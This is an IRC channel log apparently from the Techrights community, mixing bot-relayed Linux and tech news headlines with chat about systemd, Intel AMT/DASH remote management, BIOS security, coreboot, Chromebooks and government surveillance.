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| cubexyz | http://www.maxhost.org/other/attacking-intel-bios.pdf | Oct 10 01:07 |
| TweetTuxMachines | @tuxmachines Down to Business with Major Deployments | Oct 10 01:11 |
| TweetTuxMachines | retweeted by https://t.co/gezQJKETeM (dot.kde.org) | Oct 10 01:11 |
| TweetTuxMachines | @linuxusergroup | Oct 10 01:11 |
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| TweetTuxMachines | @tuxmachines Amazon’s AWS IoT platform taps three Linux SBCs | Oct 10 01:11 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Amazon’s AWS IoT platform taps three Linux SBCs | Tux Machines | Oct 10 01:11 | |
| MinceR | here's poettering going full sjw: https://plus.google.com/app/basic/stream/z13rdjryqyn1xlt3522sxpugoz3gujbhh04 | Oct 10 01:21 |
| -TechrightsBot-tr/#techrights-plus.google.com | Google+ [ http://ur1.ca/nyzsu ] | Oct 10 01:21 | |
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| cubexyz | that's just an opinion piece | Oct 10 01:24 |
| cubexyz | a lot of the time I never see the people I work with online | Oct 10 01:26 |
| cubexyz | sometimes I don't even know there real name | Oct 10 01:26 |
| cubexyz | s/there/their/ | Oct 10 01:26 |
| TweetTuxMachines | @tuxmachines openSUSE Tumbleweed Gets New Major Snapshot, | Oct 10 01:26 |
| TweetTuxMachines | Leap 42.1 RC1 Coming Next Week | Oct 10 01:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | openSUSE Tumbleweed Gets New Major Snapshot, Leap 42.1 RC1 Coming Next Week | Tux Machines | Oct 10 01:27 | |
| TweetTuxMachines | @tuxmachines FreeNAS 10 Enters Alpha, Brings Lots of New | Oct 10 01:27 |
| TweetTuxMachines | Technologies, Based on FreeBSD 10.2 | Oct 10 01:27 |
| TweetTuxMachines | http://t.co/UCW1SiXscw (www.tuxmachines.org) | Oct 10 01:27 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | FreeNAS 10 Enters Alpha, Brings Lots of New Technologies, Based on FreeBSD 10.2 | Tux Machines | Oct 10 01:27 | |
| cubexyz | yeah they can brick BIOS's by hacking the BMP file with bogus wide and height | Oct 10 01:34 |
| cubexyz | clever | Oct 10 01:34 |
| MinceR | fun | Oct 10 01:35 |
| *TweetTuxMachines @softpedialinux favourited 'openSUSE Tumbleweed Gets New Major Snapshot, Leap 42.1...' | Oct 10 01:36 | |
| *TweetTuxMachines @softpedialinux favourited 'FreeNAS 10 Enters Alpha, Brings Lots of New...' | Oct 10 01:36 | |
| msb_ | Didn't someone say Poettering was gay? In that plus.google spew he says he's straight. | Oct 10 01:40 |
| MinceR | i don't know, i don't care enough | Oct 10 01:41 |
| MinceR | plus i don't mind gay people, putin does | Oct 10 01:42 |
| cubexyz | he's trying to invoke the PC brigade, trying to defocus people from the real issues | Oct 10 01:42 |
| MinceR | exactly | Oct 10 01:43 |
| cubexyz | some of the anti-Poettering comments are funny though | Oct 10 01:43 |
| msb_ | MinceR: Do you ever have a moment in your life when you _don't_ think about Putin? | Oct 10 01:43 |
| MinceR | msb_: indeed | Oct 10 01:43 |
| MinceR | most of the moments in my life are such | Oct 10 01:43 |
| MinceR | unlike your life | Oct 10 01:44 |
| cubexyz | "he deserves to become the maintainer of svchost.exe" | Oct 10 01:44 |
| msb_ | MinceR: STOP LYING ABOUT ME!!! | Oct 10 01:44 |
| MinceR | the notion that svchost.exe is maintained is amusing | Oct 10 01:44 |
| MinceR | (or any other m$ product, for that matter) | Oct 10 01:44 |
| cubexyz | who knows? It's all opaque unless you work for M$ | Oct 10 01:45 |
| MinceR | maybe m$ should adopt the CADT development model too | Oct 10 01:45 |
| cubexyz | maybe not even then | Oct 10 01:45 |
| TweetTuxMachines | @tuxmachines The whole 'Mac vs. PC' thing is so over, and | Oct 10 01:46 |
| TweetTuxMachines | 'Android vs iPhone' is close behind | Oct 10 01:46 |
| TweetTuxMachines | https://t.co/KXhAqE6dEJ (www.yahoo.com) false | Oct 10 01:46 |
| TweetTuxMachines | dichotomies | Oct 10 01:46 |
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| -TechrightsBot-tr/#techrights-www.yahoo.com | The whole 'Mac vs. PC' thing is so over, and 'Android vs iPhone' is close behind | Oct 10 01:46 | |
| TweetTuxMachines | @tuxmachines Android TV: Is Google’s other living-room | Oct 10 01:46 |
| TweetTuxMachines | platform at a dead end? http://t.co/7tRbsbHJXo | Oct 10 01:46 |
| TweetTuxMachines | (www.techhive.com) | Oct 10 01:46 |
| -TechrightsBot-tr/#techrights-www.techhive.com | Android TV: Is Google’s other living-room device at a dead end? | Oct 10 01:46 | |
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| TweetTuxMachines | @tuxmachines Sony Xperia Z5 vs Samsung Galaxy #S6 | Oct 10 01:46 |
| TweetTuxMachines | comparison: What's the best Android phone? | Oct 10 01:46 |
| TweetTuxMachines | http://t.co/04bL9yA8fG (www.pcadvisor.co.uk) | Oct 10 01:46 |
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| -TechrightsBot-tr/#techrights-www.pcadvisor.co.uk | Sony Xperia Z5 vs Samsung Galaxy S6: What's the best Android phone? - Review - PC Advisor | Oct 10 01:46 | |
| msb_ | I just found out that the source code of systemd is 36MB of text. A typical novel is 0.5 to 1MB of text. | Oct 10 01:48 |
| MinceR | a typical novel is also a lot more readable | Oct 10 01:49 |
| MinceR | and a lot more useful | Oct 10 01:49 |
| msb_ | Plenty of room in there to hide a backdoor for the govt to use to take over a Lennix computer. | Oct 10 01:49 |
| MinceR | also plenty of bad design and bad code to leave vulnerabilities all over the place | Oct 10 01:51 |
| MinceR | conveniently in pid1 as root | Oct 10 01:51 |
| msb_ | Nobody is going to read 36 novels worth of text _and_ analyze its functioning as code to see if there's an intentionally hidden bug/backdoor. | Oct 10 01:51 |
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| msb_ | Of course all MS-Winblows systems can already be killed via their botnet. | Oct 10 01:53 |
| TweetTuxMachines | @tuxmachines 5 cool new Android launchers and interface | Oct 10 01:54 |
| TweetTuxMachines | tools (October) | Oct 10 01:54 |
| TweetTuxMachines | http://t.co/dhDwu0wCTt (www.phonearena.com) | Oct 10 01:54 |
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| -TechrightsBot-tr/#techrights-www.phonearena.com | 5 cool new Android launchers and interface tools (October) | Oct 10 01:54 | |
| TweetTuxMachines | @tuxmachines Meet the White Team, Makers of the | Oct 10 01:55 |
| TweetTuxMachines | Linux.Wifatch Viligante Malware | Oct 10 01:55 |
| TweetTuxMachines | https://t.co/JW1OZVIMXn | Oct 10 01:55 |
| TweetTuxMachines | (securityintelligence.com) | Oct 10 01:55 |
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| -TechrightsBot-tr/#techrights-securityintelligence.com | Meet the White Team, Makers of the Linux.Wifatch Vigilante Malware | Oct 10 01:55 | |
| msb_ | And there's also AMT and DASH. The US govt will be able to kill almost every computer in the world. | Oct 10 01:55 |
| TweetTuxMachines | @tuxmachines Red Hat (RHT) is Initiated by Drexel Hamilton | Oct 10 01:55 |
| TweetTuxMachines | to Buy http://t.co/PpunMH53aG | Oct 10 01:55 |
| TweetTuxMachines | (www.moneyflowindex.org) http://t.co/GXIYhEMZZw | Oct 10 01:55 |
| TweetTuxMachines | (www.themarketbusiness.com) | Oct 10 01:55 |
| -TechrightsBot-tr/#techrights-www.moneyflowindex.org | Red Hat (RHT) is Initiated by Drexel Hamilton to Buy | Oct 10 01:55 | |
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| -TechrightsBot-tr/#techrights-www.themarketbusiness.com | Red Hat Coverage Initiated at Drexel Hamilton (RHT) | The Market Business | Oct 10 01:55 | |
| cubexyz | well, all the old DEC computers will be fine | Oct 10 01:57 |
| cubexyz | PDP-11, Vax, DEC Pro | Oct 10 01:58 |
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| cubexyz | Amigas have ROMs, no way to over-write the firmware | Oct 10 01:58 |
| cubexyz | any computer without an internet connection should be fine | Oct 10 01:59 |
| msb_ | None of those facts is helpful to the vast majority of people today. | Oct 10 02:00 |
| MinceR | indeed, we need a computer specifically to access the internet | Oct 10 02:00 |
| msb_ | We need ways to disable AMT/DASH on current computers. | Oct 10 02:01 |
| cubexyz | it always goes back to the BIOS | Oct 10 02:02 |
| msb_ | We don't know if AMT/DASH can be disabled in BIOS. | Oct 10 02:03 |
| cubexyz | you're right, most computers aren't really that good | Oct 10 02:03 |
| cubexyz | I'm very careful what I use | Oct 10 02:03 |
| cubexyz | I won't touch the computers I see in the stores with a 10 metre pole | Oct 10 02:04 |
| cubexyz | I must have put at least 100 hours into that coreboot Gigabyte system | Oct 10 02:04 |
| cubexyz | no way most people are going to do that | Oct 10 02:05 |
| cubexyz | the coreboot folks are very worried about being locked out | Oct 10 02:06 |
| msb_ | One possibility is to disable the wifi (remove, cover, short out the antenna) and run all Net communications through an Ethernet NIC, which is connected to a SBC acting as a router, that deletes all AMT/DASH control packets. | Oct 10 02:08 |
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| cubexyz | AMI won't talk to me at all | Oct 10 02:09 |
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| -TechrightsBot-tr/#techrights-www.linuxjournal.com | Science on Android | Linux Journal | Oct 10 02:11 | |
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| cubexyz | no reason why you can't bypass all the DASH/AMT stuff by using an older computer to do your emails, online banking, etc | Oct 10 02:11 |
| cubexyz | then keep another computer for other stuff | Oct 10 02:11 |
| cubexyz | lock out all incoming communications on it | Oct 10 02:11 |
| msb_ | The SBC router might even continually send AMT/DASH packets to the computer to keep the intrusion system busied out, or shut off. | Oct 10 02:13 |
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| msb_ | cubexyz: People want to have a modern high-speed computer connected to the Net for things like videos. | Oct 10 02:13 |
| msb_ | AMI doesn't want to give you their source code because that's a very valuable property from which they make all their money. | Oct 10 02:14 |
| cubexyz | DASH is just setting yourself up for abuse | Oct 10 02:14 |
| cubexyz | at least buy a motherboard without DASH | Oct 10 02:15 |
| MinceR | the SBC would still have to trustworthy | Oct 10 02:15 |
| MinceR | and powerful enough to deal with the throughput | Oct 10 02:15 |
| cubexyz | if DASH is baked into the motherboard, what chance do you have to control your own computer? | Oct 10 02:15 |
| MinceR | also, one needs to be ready to deal with massively increased demands by more complex cryptographic algorithms and larger keys | Oct 10 02:16 |
| cubexyz | yes, it's a tricky problem | Oct 10 02:16 |
| msb_ | cubexyz: Do you know that DASH/AMT requires BIOS support to be turned on? | Oct 10 02:16 |
| cubexyz | yes, but a hacker could turn it back on | Oct 10 02:17 |
| cubexyz | I don't want it on the board at all | Oct 10 02:17 |
| msb_ | cubexyz: Do you know that DASH/AMT requires BIOS support to be turned on? | Oct 10 02:17 |
| msb_ | Can DASH/AMT be enabled without BIOS support? | Oct 10 02:18 |
| cubexyz | I just posted a pdf on attacking the intel bios | Oct 10 02:18 |
| cubexyz | they are talking about modern motherboards | Oct 10 02:18 |
| cubexyz | sure, a really good hacker could do it | Oct 10 02:18 |
| cubexyz | turning things off in the BIOS can be turned back on | Oct 10 02:19 |
| cubexyz | it's memory all registers | Oct 10 02:19 |
| cubexyz | now, do I think the average joe blow is being attacked by high level hackers, no | Oct 10 02:20 |
| cubexyz | but the potential is there | Oct 10 02:20 |
| cubexyz | why give them another way in? | Oct 10 02:20 |
| cubexyz | DASH specifically includes a way to reflash your BIOS | Oct 10 02:22 |
| cubexyz | remotely | Oct 10 02:22 |
| cubexyz | even when the OS is not loaded | Oct 10 02:22 |
| cubexyz | so no way do I want that | Oct 10 02:22 |
| cubexyz | read abpit Chernobyl Virus | Oct 10 02:24 |
| cubexyz | read about Chernobyl Virus | Oct 10 02:24 |
| cubexyz | in the late 1990s CIH trashed some BIOSes | Oct 10 02:24 |
| cubexyz | some of the hacking is just bricking attempts for a hell of it | Oct 10 02:26 |
| cubexyz | I'm pretty sure my router gets bricked sometimes | Oct 10 02:27 |
| cubexyz | it's got UPS on the power supply, so I don't know why it would stop working | Oct 10 02:27 |
| cubexyz | ok, not bricked really, say rather it becomes inert | Oct 10 02:28 |
| cubexyz | so a power cycle is necessary to restart it | Oct 10 02:28 |
| cubexyz | could the memory on the router get corrupted? Yes, definitely | Oct 10 02:28 |
| cubexyz | some DLINK routers have backdoors by the manufacturer | Oct 10 02:29 |
| cubexyz | so ha, do you know there are no backdoors? Very difficult to say | Oct 10 02:30 |
| cubexyz | it was so techs could get in if customers forgot the password | Oct 10 02:31 |
| MinceR | allegedly | Oct 10 02:31 |
| cubexyz | msb_, I asked AMI for very old BIOS source | Oct 10 02:34 |
| cubexyz | and I also said I would sign an NDA | Oct 10 02:35 |
| cubexyz | but no answer | Oct 10 02:35 |
| msb_ | Better you should try to get it from those Russians. | Oct 10 02:35 |
| cubexyz | the 2011 era stuff had a 2 meg binary | Oct 10 02:42 |
| msb_ | Did you phone them or send email? | Oct 10 02:44 |
| cubexyz | Oct 10 02:44 | |
| msb_ | As I said previously, corps ignore email. | Oct 10 02:44 |
| cubexyz | I used their special online contact form | Oct 10 02:45 |
| cubexyz | but it included my email address of course | Oct 10 02:45 |
| msb_ | You have to call them and talk to a person. | Oct 10 02:46 |
| cubexyz | the coreboot rom I built was 256K | Oct 10 02:46 |
| cubexyz | 1998 era technology | Oct 10 02:50 |
| MinceR | http://cheezburger.com/650245/photoshop-battle-of-the-day-jeb-bush-stands-in-front-of-a-green-screen-making-photoshops-so-much | Oct 10 02:51 |
| -TechrightsBot-tr/#techrights-cheezburger.com | Photoshop Battle of the Day: Jeb! Bush Stands in Front of a Green Screen, Making Photoshops So Much Easier - Cheezburger [ http://ur1.ca/nz0kn ] | Oct 10 02:51 | |
| msb_ | We were given these Dark Web urls -- try there. https://answerstedhctbek.onion.cab/ https://zqktlwi4fecvo6ri.onion.cab/wiki/Main_Page | Oct 10 02:52 |
| -TechrightsBot-tr/#techrights-answerstedhctbek.onion.cab | Hidden Answers | Oct 10 02:52 | |
| -TechrightsBot-tr/#techrights-zqktlwi4fecvo6ri.onion.cab | The Hidden Wiki [ http://ur1.ca/nz0kv ] | Oct 10 02:52 | |
| msb_ | But if you want kitty porn: http://cosmicpenguin.com/images/KittyPorn.jpg | Oct 10 02:53 |
| cubexyz | it's a bit weird I could find some BIOS source code a month ago and now there's nothing | Oct 10 02:56 |
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| cubexyz | but if you had a motherboard from a vendor who went out of business, and just had the BIOS binary file, it's quite possible no one in the world has the source code for it | Oct 10 03:00 |
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| cubexyz | MinceR, check this out... | Oct 10 03:17 |
| cubexyz | https://www.crowdsupply.com/sutajio-kosagi/novena#board | Oct 10 03:18 |
| -TechrightsBot-tr/#techrights-www.crowdsupply.com | Novena | Crowd Supply [ http://ur1.ca/nz0sd ] | Oct 10 03:18 | |
| cubexyz | the novena can boot it's firmware from microSD card | Oct 10 03:18 |
| cubexyz | NDA-free datasheet and programming manual | Oct 10 03:18 |
| TweetTuxMachines | @tuxmachines Linksys WRT router gains faster SoC, more RAM, | Oct 10 03:22 |
| TweetTuxMachines | OpenWrt http://t.co/WxSoYKK5pE | Oct 10 03:22 |
| TweetTuxMachines | (linuxgizmos.com) "open source OpenWrt support | Oct 10 03:22 |
| -TechrightsBot-tr/#techrights-linuxgizmos.com | Linksys WRT router gains faster SoC, more RAM, OpenWrt · LinuxGizmos.com | Oct 10 03:22 | |
| TweetTuxMachines | out of the box." | Oct 10 03:22 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz0tf | Oct 10 03:22 |
| TweetTuxMachines | @tuxmachines Red Hat and Fedora http://t.co/oFIl2dceF8 | Oct 10 03:22 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 10 03:22 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz0th | Oct 10 03:22 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat and Fedora | Tux Machines | Oct 10 03:22 | |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/T64bmIknjB | Oct 10 03:22 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 10 03:22 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz0ti | Oct 10 03:22 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 10 03:22 | |
| MinceR | :) | Oct 10 03:23 |
| cubexyz | https://www.youtube.com/watch?v=ITAJ2Ud4zp8 | Oct 10 03:29 |
| -TechrightsBot-tr/#techrights-www.youtube.com | NOVENA :: First Open Source Laptop - YouTube [ http://ur1.ca/nz0w6 ] | Oct 10 03:29 | |
| MinceR | seems in large part unavailable though | Oct 10 03:32 |
| MinceR | (crossed-out components and builds) | Oct 10 03:32 |
| cubexyz | hmmm | Oct 10 03:32 |
| MinceR | http://libertyblitzkrieg.com/2015/10/07/how-the-tpp-could-lead-to-worldwide-internet-censorship/ | Oct 10 04:18 |
| -TechrightsBot-tr/#techrights-libertyblitzkrieg.com | How the TPP Could Lead to Worldwide Internet Censorship | Liberty Blitzkrieg [ http://ur1.ca/nz1ag ] | Oct 10 04:18 | |
| cubexyz | the community based ISPs will never monitor anything | Oct 10 04:23 |
| cubexyz | although computers are getting worse to use | Oct 10 04:25 |
| MinceR | then the community-based ISP-s will be banned/shut down | Oct 10 04:26 |
| cubexyz | the net is already gummed up with a lot of crap | Oct 10 04:26 |
| cubexyz | well, we'll see | Oct 10 04:26 |
| MinceR | looks like we'd better get ready to use computers and communicate in illegality | Oct 10 04:26 |
| MinceR | and perhaps if humanity gets its shit together, start a revolution | Oct 10 04:27 |
| cubexyz | the community based ISP, like the one I use, they barely have any staff | Oct 10 04:27 |
| cubexyz | I can certainly imagine a massive lock-down happening on windows computers | Oct 10 04:28 |
| cubexyz | I've experienced it :) | Oct 10 04:28 |
| cubexyz | customer couldn't burn a CDR of his music CD | Oct 10 04:29 |
| MinceR | i can imagine general-purpose computers being closely controlled and banned from use by consumers | Oct 10 04:32 |
| MinceR | they already love their spyware botnet-based web terminals | Oct 10 04:32 |
| MinceR | especially if those come from crApple | Oct 10 04:32 |
| msb_ | cubexyz: What do you mean "the net is already gummed up with a lot of crap"? | Oct 10 04:43 |
| cubexyz | ads, auto-play videos, endless reams of javascript... | Oct 10 04:44 |
| msb_ | Don't you use AdBlocker? | Oct 10 04:44 |
| MinceR | 256 layers of transparent backgrounds on top of each other | Oct 10 04:45 |
| MinceR | web drm blobs | Oct 10 04:45 |
| MinceR | reimplementations of the entire web browser in javascript | Oct 10 04:45 |
| MinceR | blobs to support patent-encrusted codecs | Oct 10 04:45 |
| MinceR | tons of unnecessary distracting animations | Oct 10 04:46 |
| MinceR | more pointless javascript crap running on your computer | Oct 10 04:46 |
| MinceR | isn't the "modern" web great? | Oct 10 04:46 |
| cubexyz | well some ads I want, some I don't want | Oct 10 04:46 |
| msb_ | MinceR: I don't notice any of those things you're complaining about. If a web page is doing something annoying, I leave it. | Oct 10 04:47 |
| cubexyz | the media pages seem the worse | Oct 10 04:48 |
| msb_ | cubexyz: AdBlocker is selective. You can | Oct 10 04:48 |
| msb_ | cubexyz: AdBlocker is selective. You can choose where it blocks. | Oct 10 04:48 |
| msb_ | cubexyz: US corp media? Full of lies, never look at it. | Oct 10 04:48 |
| cubexyz | msb_, plus I can't use adblocker on some of my older computers | Oct 10 04:49 |
| cubexyz | unless there's an older version of adblock | Oct 10 04:49 |
| msb_ | Didn't you just buy a new chromebook? | Oct 10 04:49 |
| MinceR | msb_: sometimes i need information to such an abomination | Oct 10 04:50 |
| cubexyz | I don't use it for programming on.. at least not yet | Oct 10 04:50 |
| MinceR | russian state-controlled media? full of lies, never look at it. | Oct 10 04:50 |
| cubexyz | there's ublock though | Oct 10 04:50 |
| msb_ | But you can use it for browsing, right? | Oct 10 04:50 |
| cubexyz | sure | Oct 10 04:50 |
| cubexyz | there's probably a plug-in for it | Oct 10 04:51 |
| msb_ | Does it run firefox? | Oct 10 04:51 |
| MinceR | does chrome on chromeos have a 'close all tabs' function, btw? | Oct 10 04:51 |
| cubexyz | just exit :) | Oct 10 04:52 |
| cubexyz | that closes everything | Oct 10 04:52 |
| MinceR | won't it just restore it all when you start it again? | Oct 10 04:53 |
| cubexyz | let me try it, just a sec | Oct 10 04:53 |
| cubexyz | nope | Oct 10 04:53 |
| MinceR | thanks | Oct 10 04:54 |
| cubexyz | it doesn't reopen them | Oct 10 04:54 |
| MinceR | so maybe i should have bought a chromebook for my mother, not a tablet | Oct 10 04:54 |
| cubexyz | chromebook is great if you use youtube a lot | Oct 10 04:54 |
| cubexyz | there's crouton if you want full linux | Oct 10 04:55 |
| cubexyz | haven't tried that yet | Oct 10 04:55 |
| MinceR | for myself i looked at the asus chromebook flip | Oct 10 04:55 |
| MinceR | but (surprise surprise) it's not available in hungary | Oct 10 04:55 |
| MinceR | also, the only rootfs i've found for it that it could boot from an sd card was for arch (ewww) | Oct 10 04:56 |
| cubexyz | once I walked into bestbuy and I saw this enormous windows 10 display | Oct 10 04:56 |
| cubexyz | and I'm thinking "Is this hell?" | Oct 10 04:56 |
| cubexyz | I mean, there's no point ever going there | Oct 10 04:56 |
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| msb_ | Sure there is. Figure out how to put Linux on those computers, and hand out leaflets with its advantages and your phone number. | Oct 10 04:59 |
| cubexyz | I don't think bestbuy would tolerate that | Oct 10 04:59 |
| cubexyz | I will say the staff there were utterly useless | Oct 10 05:01 |
| msb_ | Why? You would be on the public sidewalk, and you wouldn't be interfering with their sales. You would install Linux after people bought a computer from them. | Oct 10 05:01 |
| msb_ | Both of you seem to focus on the most negative possible aspects of any situation. That's a habit, and you can stop doing it. | Oct 10 05:04 |
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| cubexyz | I'm focusing on the reality of the situation | Oct 10 05:05 |
| msb_ | No, only on _part_ of the reality. | Oct 10 05:05 |
| cubexyz | retail staff are really really unknowledgeable | Oct 10 05:05 |
| cubexyz | probably because wages are very low | Oct 10 05:06 |
| msb_ | And they're trained by Microshit. But so what? | Oct 10 05:06 |
| cubexyz | and I've offered to install Linux to all my customers | Oct 10 05:07 |
| cubexyz | some have, most have not | Oct 10 05:07 |
| cubexyz | I'm starting to see chromebooks though | Oct 10 05:07 |
| MinceR | “It’s not safe to hope for the best without preparing for the worst.” | Oct 10 05:07 |
| msb_ | Some people have learned how to think. Most have not. | Oct 10 05:08 |
| cubexyz | well bestbuy has flyers and online ads advertising chromebooks and when I went there they didn't even know what a chromebook was | Oct 10 05:08 |
| msb_ | There's no free will without self-observation. | Oct 10 05:08 |
| cubexyz | "duh, can't run office, duh" | Oct 10 05:09 |
| cubexyz | that's how bad it was | Oct 10 05:09 |
| msb_ | Who said that, and about what? | Oct 10 05:10 |
| cubexyz | heck, it might even be worse for Mincer which is mind boggling | Oct 10 05:10 |
| MinceR | sounds like worst buy got official m$ training all right | Oct 10 05:10 |
| cubexyz | one of the bestbuy employees, basically said chromebooks were useless | Oct 10 05:10 |
| MinceR | you can tell market economy has failed when stores try to keep potential customers from buying what they have in stock right there | Oct 10 05:10 |
| cubexyz | the other ones didn't know what a chromebook was | Oct 10 05:11 |
| cubexyz | well, most people couldn't fix their TVs, but this just seems a new level of dumbness or apathy | Oct 10 05:12 |
| MinceR | it's the mentality of the New Dark Age | Oct 10 05:12 |
| cubexyz | there used to be an independent computer shop close to me that would preload BSD | Oct 10 05:13 |
| cubexyz | but he closed up shop a few months ago | Oct 10 05:13 |
| cubexyz | I might start selling coreboot motherboards | Oct 10 05:14 |
| cubexyz | once I find one that works 100% | Oct 10 05:14 |
| MinceR | in hungary they wouldn't sell you laptops preloaded with gnu/linux even if that product line did have such models | Oct 10 05:14 |
| MinceR | e.g. EeePC | Oct 10 05:14 |
| MinceR | this country sucks almost as much as russia | Oct 10 05:14 |
| cubexyz | I've loaded Linux on probably a dozen different laptops | Oct 10 05:16 |
| cubexyz | I have a problem with websaver.ca and printable coupons | Oct 10 05:16 |
| cubexyz | still have to figure that out | Oct 10 05:16 |
| cubexyz | it uses fdf files which is a kind of pdf file but it phones home for a security check | Oct 10 05:17 |
| cubexyz | do EEEPC use systemd? | Oct 10 05:20 |
| MinceR | afaik the line ended before fedora started forcing cancerd on users | Oct 10 05:21 |
| cubexyz | they restarted it I think | Oct 10 05:21 |
| MinceR | well, i don't know about them, then | Oct 10 05:22 |
| cubexyz | yeah EEEPC with WinXP and you get a coupon for windows 10 | Oct 10 05:22 |
| cubexyz | not very encouraging I admit | Oct 10 05:24 |
| cubexyz | there's DebianEEeePC | Oct 10 05:26 |
| cubexyz | maybe it's just old stock though | Oct 10 05:28 |
| cubexyz | ah I see, ASUS relaunched it as a Microsoftian entity | Oct 10 05:30 |
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| TweetTuxMachines | @tuxmachines Bodhi: Detour and Forum Themes now Moksha | Oct 10 08:36 |
| TweetTuxMachines | Compatible http://t.co/hHQd8z2Pp7 | Oct 10 08:36 |
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| schestowitz | https://twitter.com/rabite/status/652772005398347777 | Oct 10 10:09 |
| -TechrightsBot-tr/#techrights-@rabite: @schestowitz how is that blackmail? There is nothing they can give me to get me to stop. | Oct 10 10:10 | |
| schestowitz | Maybe a deterrence tactic | Oct 10 10:10 |
| schestowitz | https://twitter.com/rabite/status/652773713709023232 | Oct 10 10:16 |
| -TechrightsBot-tr/#techrights-@rabite: @schestowitz yes, the purpose is to punish organized crime so that others might think twice before committing it. | Oct 10 10:16 | |
| schestowitz | make no mistake; I support you. I just think it shows how privacy violations enable revenge and blackmail. | Oct 10 10:17 |
| schestowitz | And if you followed what I had written about you dozens of times in the past you'd understand my tone and point to drive home | Oct 10 10:18 |
| schestowitz | ^ weev | Oct 10 10:18 |
| schestowitz | https://joindiaspora.com/posts/6687535 | Oct 10 10:50 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Opposition to mass #surveillance still a bipartisan matter; even so-called Conservatives upset http://personalliberty.com/out-nsa-ing-the-nsa/ https://news.vice.com/article/a-federal-judge-could-halt-the-nsas-phone-data-collection-program-this-week | Oct 10 10:50 | |
| -TechrightsBot-tr/#techrights--> personalliberty.com | Out NSA-ing the NSA [ http://ur1.ca/nz4d4 ] | Oct 10 10:50 | |
| -TechrightsBot-tr/#techrights--> news.vice.com | A Federal Judge Could Halt the NSA's Phone Data Collection Program This Week | VICE News [ http://ur1.ca/nz4d5 ] | Oct 10 10:50 | |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652782898790187009 | Oct 10 10:51 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz really surprised the gate guards didn't "shoot first" even if it was "different circumstances" to the last time | Oct 10 10:51 | |
| schestowitz | maybe lessons learned and no black person | Oct 10 10:51 |
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| schestowitz | https://twitter.com/LadyKorenwolf/status/652784785132232704 | Oct 10 11:30 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz is that why you can't take the battery out of an iphone? o.0 | Oct 10 11:30 | |
| schestowitz | That's my suspicion (and others'). I spoke about this years ago, before Snowden... | Oct 10 11:31 |
| schestowitz | https://twitter.com/MxsQueen/status/652785244190470144 | Oct 10 11:32 |
| -TechrightsBot-tr/#techrights-@MxsQueen: So much for small government. https://t.co/4YBHij5FJA | Oct 10 11:32 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The #torygraph openly advocates for back doors in operating systems http://t.co/pxNj8Mkcw7 what has become of #uk gov.? #tories | Oct 10 11:32 | |
| schestowitz | https://twitter.com/SeaH2ONymph/status/652786869260931072 | Oct 10 11:32 |
| -TechrightsBot-tr/#techrights-@SeaH2ONymph: @schestowitz T'internet Fun & Games: #WIRED 'rather than #Russian secret police, it’s his old employers, #CIA & #NSA, #Snowden most fears.' | Oct 10 11:32 | |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652790185445433344 | Oct 10 11:33 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: politicians are clueless & easily led by people who aren't (& who use money or fear to get their way) https://t.co/z8lTEoAU9r | Oct 10 11:33 | |
| schestowitz | https://twitter.com/glynmoody/status/652792305133428736 | Oct 10 11:33 |
| -TechrightsBot-tr/#techrights-@glynmoody: and yet #NZ is claiming that's not the case... https://t.co/EyXD1JgXkM | Oct 10 11:33 | |
| -TechrightsBot-tr/#techrights-@schestowitz: @glynmoody https://t.co/dgCj2UCC1B | Oct 10 11:33 | |
| schestowitz | Maybe #nz politicians | Oct 10 11:33 |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652793043322597376 | Oct 10 11:35 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz or when not in use, drop it in a small Faraday cage | Oct 10 11:35 | |
| schestowitz | If you have one readily available | Oct 10 11:35 |
| schestowitz | https://twitter.com/swardley/status/652793279201837056 | Oct 10 11:35 |
| -TechrightsBot-tr/#techrights-@swardley: Curious. One to be aware of -> https://t.co/11sff6HiwV | Oct 10 11:35 | |
| -TechrightsBot-tr/#techrights-@schestowitz: @glynmoody @fosspatents Benoît #Battistelli 's Office Accused of Institutional Harassment Against #EPO Staff http://t.co/yOJ6NmMqHt | Oct 10 11:35 | |
| schestowitz | https://twitter.com/MxsQueen/status/652796192691212288 | Oct 10 11:46 |
| -TechrightsBot-tr/#techrights-@MxsQueen: Alternatively, you could give up on trusting your devices completely but that's a pretty terrible compromise. https://t.co/KJHBrmdBY9 | Oct 10 11:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Solution: don't use mobile phones (proprietary components like baseband OS often unavoidable) http://t.co/yRKfDoWcq3 | Oct 10 11:46 | |
| schestowitz | People who carry it everywhere won't be able to go on in life knowing they're WATCHED and LISTENED 24/7 | Oct 10 11:46 |
| schestowitz | https://twitter.com/MxsQueen/status/652798229478797312 | Oct 10 11:51 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz I think there's an interesting challenge/compromise to be made coping with panopticon psychology, making surveillance harder | Oct 10 11:51 | |
| schestowitz | https://twitter.com/MxsQueen/status/652800719075065856 | Oct 10 12:11 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz there's the argument there that it's pretty easy with a known bug to be selective in your use of it. | Oct 10 12:11 | |
| schestowitz | The listener or listened? | Oct 10 12:11 |
| schestowitz | https://twitter.com/jolly_angelina/status/652801270579896321\ | Oct 10 12:11 |
| -TechrightsBot-tr/#techrights-@jolly_angelina: "@schestowitz: Phones with 2 cameras, 1 either side; so you're visible no matter how you put it down. Recom by #nsa : endorsed by #gchq ;-)" | Oct 10 12:11 | |
